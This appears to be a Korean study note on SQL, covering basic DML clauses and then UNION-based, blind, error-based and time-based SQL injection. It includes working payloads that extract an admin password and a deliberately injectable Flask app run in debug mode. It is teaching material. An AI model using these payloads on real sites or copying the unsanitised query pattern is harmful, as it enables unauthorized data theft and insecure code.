DDL : Definition Language
DML : Data Manipulation Language
DCL : Data Control Language
SQL에서는 총 3가지의 언어 제공
DML : 데이터베이스에서 데이터를 조회, 추가, 삭제, 수정 수행하는 구문
웹 서비스에서 대부분 이용하는 기능은 DML을 통해 처리
| 절 | 설명 |
|---|---|
| SELECT | 이 문자열을 시작으로 조회하기 위한 표현식, 칼럼에 대해 정의 |
| FROM | 데이터 조회할 테이블의 이름이 들어감 |
| WHERE | 조회할 데이터의 조건이 들어감 |
| ORDER BY | 조회한 결과를 원하는 컬럼 기준으로 정렬 |
| LIMIT | 조회한 겨로가에서 행의 개수,오프셋(위치) 지정 |
# FROM절 이용해 board 테이블의 uid, title, boardcontent 데이터 검색
SELECT
uid, title, boardcontent
FROM board
#boardcontent 데이터에 abc 문자 포함되었는지 찾음
WHERE boardcontent like '%abc%'
#uid기준으로 내림차순 정렬 후 5개의 행을 결과로 반환
ORDER BY uid DESC
LIMIT 5
| 절 | 설명 |
|---|---|
| INSERT | 이 문자열을 시작으로 추가할 테이블, 데이터 정의 |
| INTO | 데이터를 추가할 테이블의 이름, 컬럼 정의 |
| VALUES | INTO 절에서 정의한 테이블의 컬럼에 명시한 데이터들 추가 |
INSERT
# board라는 테이블을 추가하고 이것의 칼럼을 title, boardcontent로 명시
INTO board (title, boardcontent)
#INTO절의 명시한 테이블의 칼럼에 각각 데이터 추가
VALUES ('title 1', 'content 1'), ('title 2', 'content 2');
INSERT
INTO board (title, boardcontent)
#title에는 'title 1'값 추가
#boardcontent에는 SELECT구문 - user테이블의 uid 칼럼값이 'admin'인 행 찾고 그 행에 upw 데이터 추가 (서브쿼리사용)
VALUES ('title 1', (select upw from users where uid='admin'));
서브쿼리 : 메인 쿼리 실행되기 전에 먼저 실행되는 쿼리
서브쿼리 사용 : 다른 테이블의 데이터를 그대로 가져와 삽입 가능
| 절 | 설명 |
|---|---|
| UPDATE | 이 문자열을 시작으로 수정할 테이블 정의 |
| SET | 수정할 컬럼, 데이터 정의 |
| WHERE | 수정할 행 조건 정의 |
#board 테이블의 boardcontent 컬럼을 'update content 2'로 수정
UPDATE board
SET boardcontent = "update content 2"
#수정될 데이터 조건 : title 1인 행
WHERE title = 'title 1';
| 절 | 설명 |
|---|---|
| DELETE | 이 문자열을 시작으로 삭제할 테이블 정의 |
| FROM | 삭제할 테이블 정의 |
| WHERE | 삭제할 행 조건 정의 |
#board테이블의 title칼럼이 'title 1'인 행 삭제
DELETE FROM board
WHERE title = 'title 1';
SQL에서 여러 개 쿼리 사용해 데이터를 검색하는 방법,
애플리케이션이 반환되는 결과값 통해 데이터 유추하는 방법
# username, password 컬럼에 'DreamHack', 'DreamHack PW'가 일치하는 데이터 조회
mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";
/*
+-----------+--------------+
| username | password |
+-----------+--------------+
| admin | admin |
| guest | guest |
| DreamHack | DreamHack PW |
+-----------+--------------+
3 rows in set (0.01 sec)
*/
이 구문 사용 시
1. 이전 SELECT 구문과 UNION 사용한 구문 실행 결과 중 컬럼 개수가 같아야 함
### 컬럼 개수 일치하지 않아 에러
mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW", "Third Column";
/*
ERROR 1222 (21000): The used SELECT statements have a different number of columns
*/
### 두 구문 컬럼 타입 달라 오류
# MSSQL (SQL Server)
SELECT 'ABC'
UNION SELECT 123;
/*
Conversion failed when converting the varchar value 'ABC' to data type int.
*/
#서브 쿼리 통해 데이터 조회
#서브 쿼리 실행돼 456 출력
mysql> SELECT 1,2,3,(SELECT 456);
/*
+---+---+---+--------------+
| 1 | 2 | 3 | (SELECT 456) |
+---+---+---+--------------+
| 1 | 2 | 3 | 456 |
+---+---+---+--------------+
1 row in set (0.00 sec)
*/
### 복수 행, 컬럼 반환하는 서브 쿼리 실행 -> 에러
mysql> SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users;
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> SELECT username, (SELECT "ABCD", 1234) FROM users;
ERROR 1241 (21000): Operand should contain 1 column(s)
mysql> SELECT * FROM (SELECT *, 1234 FROM users) as u;
/*
+----------+------+
| username | 1234 |
+----------+------+
| admin | 1234 |
| guest | 1234 |
+----------+------+
2 rows in set (0.00 sec)
*/
# Where 절에서 다중 행 반환
mysql> SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");
/*
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| guest | guest |
+----------+----------+
2 rows in set (0.00 sec)
*/
SQL Injection - 애플리케이션 내부에서 사용하는 DB 데이터 조작하는 기법
특정 쿼리 실행 -> 쿼리 실행 결과 -> 애플리케이션에서 보이지 않으면 공격자 : 정보추측 어려움
(애플리케이션 - DB 결과 따라 기능 수행(특정 번호 게시물 조회 시 있다면 표시, 없으면 존재X 메시지 출력))
==> 공격자 : 참/거짓 구분해 공격 수행
<UNION 사용 공격>
#union 절에서 'admin' 반환하므로 애플리케이션이 참 반환
/?username=' union select 'admin' -- -
==> True
<비교 구문 사용한 공격>
애플리케이션에서 'admin'반환해 관리자 권한으로 로그인 방법 O
+)관리자 계정 비밀번호 알아내는 방법 O
IF문 사용해 비교 구문 만들 수 있음
substr : 첫번째 인자로 전달된 문자열을 두번째 인자로 전달된 위치에서 시작해 세번째 인자로 전달된 문자 수 만큼 문자들 반환
# 첫번째 바이트 - B아님
/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
==> False
# 첫번째 바이트 - P
/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
==> True
# 두번째 바이트 - a
/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
==> True
# ... => 관리자 비밀번호 알아낼 수 있음
Blind SQL Injection : 임의 데이터 알아내기 위한 방법, 수많은 쿼리 전송
=> 방화벽에 의해 접속 IP 차단 가능, 데이터 길이 길수록 쿼리도 늘어나고 공격 시간 길어짐 -> 효율적인 방법 알아보기!
#substr 함수 반환값 비교해 패스워드 알아내기 공격
#아스키에서 출력 가능한 문자 범위 : 32~126 => pwd 첫 바이트 > 79인지 확인
mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
#비밀번호 첫번째 바이트 : 80(P)이므로 참
#80~126 중간값인 103으로 확인하기
#반복해서 비밀번호 구하기
#패스워드를 비트로 변환
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
...
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)
### 7번 쿼리 -> 반환 결과로 한 바이트 알아냄
### 2진수로 표현 : 1010000, 10진수로 표현 : 80, 문자로 표현 : 'P'
## pip3 install PyMySQL //pymysql 라이브러리를 설치하기 위한 명령어
from flask import Flask, request
import pymysql
app = Flask(__name__)
def getConnection():
return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')
#입력값 검사하지 않고 sql 쿼리에 포함
#sql 실행 결과 출력하는 코드 없고 쿼리 실행 결과만 판단
@app.route('/' , methods=['GET'])
def index():
username = request.args.get('username')
sql = "select username from users where username='%s'" %username
conn = getConnection()
curs = conn.cursor(pymysql.cursors.DictCursor)
curs.execute(sql)
rows = curs.fetchall()
conn.close()
if(rows):
return "True"
else:
return "False"
#디버거 모드 활성화
app.run(host='0.0.0.0', port=8000, debug=True)
Flask 애플리케이션 -> 디버거 모드 활성화 -> 코드 오류 시 발생 원인 출력
-> 오류 메시지로 공격에 필요한 정보 수집, 원하는 데이터 획득
extractvalue함수
첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH식을 통해 데이터 추출
응용 -> DB 정보 추출 가능
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
######오류#########
# :로 시작하면 안됨
mysql> SELECT extractvalue(1, ':abcd');
##################
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
extractvalue 응용 -> 서브쿼리 통해 임의 테이블 데이터 획득
mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
###Double 자료형 최댓값 초과 에러
# 쿼리 실행 -> 서버가 반환하는 HTTP 상태코드/애플리케이션 응답차이로 에러 여부 확인, 참/거짓 여부 확인
mysql> select if(1=1, 9e307*2,0);
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
mysql> select if(1=0, 9e307*2,0);
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
Short-circuit evaluation
#처음 식 -> 거짓 ==> sleep 함수 실행 X
mysql> SELECT 0 AND SLEEP(1);
+----------------+
| 0 AND SLEEP(1) |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
#처음 식 -> 참 ==> sleep 함수 실행 O
mysql> SELECT 1 AND SLEEP(10);
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
| 0 |
+-----------------+
1 row in set (10.04 sec)
시간지연 이용 -> 쿼리 참/거짓 여부 판단
시간 지연시키는 방법 : 헤비 쿼리(heavy query)(DBMS에서 제공하는 함수/시간 많이 소요되는 연산 수행)
sleep 함수, benchmark함수...